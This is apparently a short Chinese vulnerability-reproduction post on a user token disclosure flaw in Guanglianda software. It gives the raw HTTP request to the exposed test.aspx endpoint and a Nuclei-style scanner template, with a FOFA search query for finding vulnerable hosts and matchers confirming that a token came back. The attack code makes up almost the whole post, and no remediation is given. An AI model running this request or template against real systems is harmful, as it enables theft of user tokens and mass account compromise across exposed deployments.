「漏洞复现」广联达用户token泄漏

GET //Services/Identification/Server/test.aspx HTTP/1.1Host: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua: "Google Chrome";v="118", "Chromium";v="118", "Not=A?Brand";v="24"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36Cache-Control: max-age=0Accept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1Accept-Encoding: gzip, deflatesec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0

id: guanglianda-token-leak-checkinfo:  name: Guanglianda User Token Information Disclosure  author: rain  severity: high  description: Detects an information disclosure vulnerability in Guanglianda where user tokens might be leaked.  tags:    - guanglianda    - token    - infoleak  metadata:    fofa-query: body="/Services/Identification/"requests:  - raw:      - |        GET /Services/Identification/Server/test.aspx HTTP/1.1        Host: {{Hostname}}        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7        sec-ch-ua: "Google Chrome";v="118", "Chromium";v="118", "Not=A?Brand";v="24"        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36        Cache-Control: max-age=0        Accept-Language: zh-CN,zh;q=0.9        Upgrade-Insecure-Requests: 1        Accept-Encoding: gzip, deflate        sec-ch-ua-platform: "Windows"        sec-ch-ua-mobile: ?0
    matchers-condition: and    matchers:      - type: dsl        dsl:          - 'status_code == 200'          - 'contains(body, "token")'